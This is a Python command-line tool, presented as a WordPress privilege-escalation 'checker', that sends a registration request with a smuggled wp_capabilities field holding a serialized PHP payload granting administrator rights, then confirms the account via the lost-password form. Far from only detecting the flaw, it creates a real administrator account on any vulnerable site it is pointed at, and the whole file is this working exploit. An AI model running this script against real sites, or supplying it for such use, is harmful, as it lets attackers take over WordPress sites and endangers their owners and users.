#!/usr/bin/env python

import requests
from urllib.parse import urlparse
from urllib3 import disable_warnings
from colorama import init, Fore, Style
import argparse
import sys

disable_warnings()
init(autoreset=True)
DEFAULT_USERNAME = "test_username"
DEFAULT_EMAIL = "test_username@example.com"
DEFAULT_TIMEOUT = 30
PAYLOAD = 'a:1:{s:13:"administrator";b:1;}'


def show_banner():
    banner = f"""
{Fore.CYAN}╔══════════════════════════════════════════════════════╗
{Fore.CYAN}║     {Fore.YELLOW}WordPress Privilege Escalation Checker {Fore.CYAN}          ║
{Fore.CYAN}║           {Fore.GREEN}Single Target Mode {Fore.CYAN}                         ║
{Fore.CYAN}╚══════════════════════════════════════════════════════╝
{Style.RESET_ALL}
    """
    print(banner)


def normalize_url(url):
    url = url.strip().rstrip("/")
    if not url.startswith(("http://", "https://")):
        url = "http://" + url
    return url


def verify_user_exists(url, username, timeout):
    lostpass_url = f"{url}/wp-login.php?action=lostpassword"
    data = {"user_login": username, "redirect_to": "", "wp-submit": "Get New Password"}
    try:
        resp = requests.post(lostpass_url, data=data, timeout=timeout, verify=False)
        return "There is no account with that username" not in resp.text
    except:
        return False


def check_vulnerability(url, username, email, timeout):
    register_url = f"{url}/wp-login.php?action=register"
    data = {"user_login": username, "user_email": email, "wp_capabilities": PAYLOAD}

    print(f"{Fore.BLUE}[*] Checking: {url}")
    print(f"{Fore.BLUE}[*] Target User: {username}")
    print(f"{Fore.BLUE}[*] Timeout: {timeout}s\n")

    try:
        resp = requests.post(
            register_url,
            data=data,
            timeout=timeout,
            verify=False,
            allow_redirects=False,
        )

        if resp.status_code == 302:
            if verify_user_exists(url, username, timeout):
                print(
                    f"{Fore.GREEN}[✓] VULNERABLE! User '{username}' created successfully!"
                )
                print(f"{Fore.GREEN}[+] URL: {url}")
                print(f"{Fore.GREEN}[+] Username: {username}")
                print(f"{Fore.GREEN}[+] Email: {email}")
                return True
            else:
                print(f"{Fore.RED}[✗] FALSE POSITIVE (User not actually created)")
                return False

        elif resp.status_code == 200:
            resp_lower = resp.text.lower()
            if "already exists" in resp_lower:
                if verify_user_exists(url, username, timeout):
                    print(
                        f"{Fore.YELLOW}[!] User '{username}' already exists - may be vulnerable"
                    )
                    print(f"{Fore.YELLOW}[!] URL: {url}")
                    return True
                else:
                    print(
                        f"{Fore.RED}[✗] SAFE (User doesn't exist but registration didn't work)"
                    )
            elif "registration" in resp_lower and "error" in resp_lower:
                print(f"{Fore.RED}[✗] SAFE (Registration is blocked/disabled)")
            else:
                print(f"{Fore.RED}[✗] SAFE (Unknown response)")
            return False
        else:
            print(f"{Fore.RED}[✗] SAFE (HTTP {resp.status_code})")
            return False

    except requests.exceptions.Timeout:
        print(f"{Fore.RED}[✗] Timeout error - server not responding within {timeout}s")
        return False
    except requests.exceptions.ConnectionError:
        print(f"{Fore.RED}[✗] Connection error - cannot reach the target")
        return False
    except Exception as err:
        print(f"{Fore.RED}[✗] Error: {str(err)}")
        return False


def main():
    parser = argparse.ArgumentParser(
        description="WordPress Privilege Escalation Vulnerability Checker (Single Target)",
        epilog="Example: python3 app.py http://example.com --username admin --email admin@example.com --timeout 20",
    )
    parser.add_argument("url", help="Target WordPress URL (e.g., http://example.com)")
    parser.add_argument(
        "--username",
        "-u",
        default=DEFAULT_USERNAME,
        help=f"Username to test (default: {DEFAULT_USERNAME})",
    )
    parser.add_argument(
        "--email",
        "-e",
        default=DEFAULT_EMAIL,
        help=f"Email address (default: {DEFAULT_EMAIL})",
    )
    parser.add_argument(
        "--timeout",
        "-t",
        type=int,
        default=DEFAULT_TIMEOUT,
        help=f"Request timeout in seconds (default: {DEFAULT_TIMEOUT})",
    )

    args = parser.parse_args()

    show_banner()

    target_url = normalize_url(args.url)
    parsed = urlparse(target_url)
    base_url = f"{parsed.scheme}://{parsed.netloc}"

    print(f"{Fore.CYAN}════════════════════════════════════════")
    print(f"{Fore.CYAN} Target: {base_url}")
    print(f"{Fore.CYAN}════════════════════════════════════════\n")

    result = check_vulnerability(base_url, args.username, args.email, args.timeout)

    print(f"\n{Fore.CYAN}════════════════════════════════════════")
    if result:
        print(f"{Fore.GREEN}[✓] RESULT: VULNERABLE ✓")
    else:
        print(f"{Fore.RED}[✗] RESULT: NOT VULNERABLE ✗")
    print(f"{Fore.CYAN}════════════════════════════════════════")

    return 0 if result else 1


if __name__ == "__main__":
    sys.exit(main())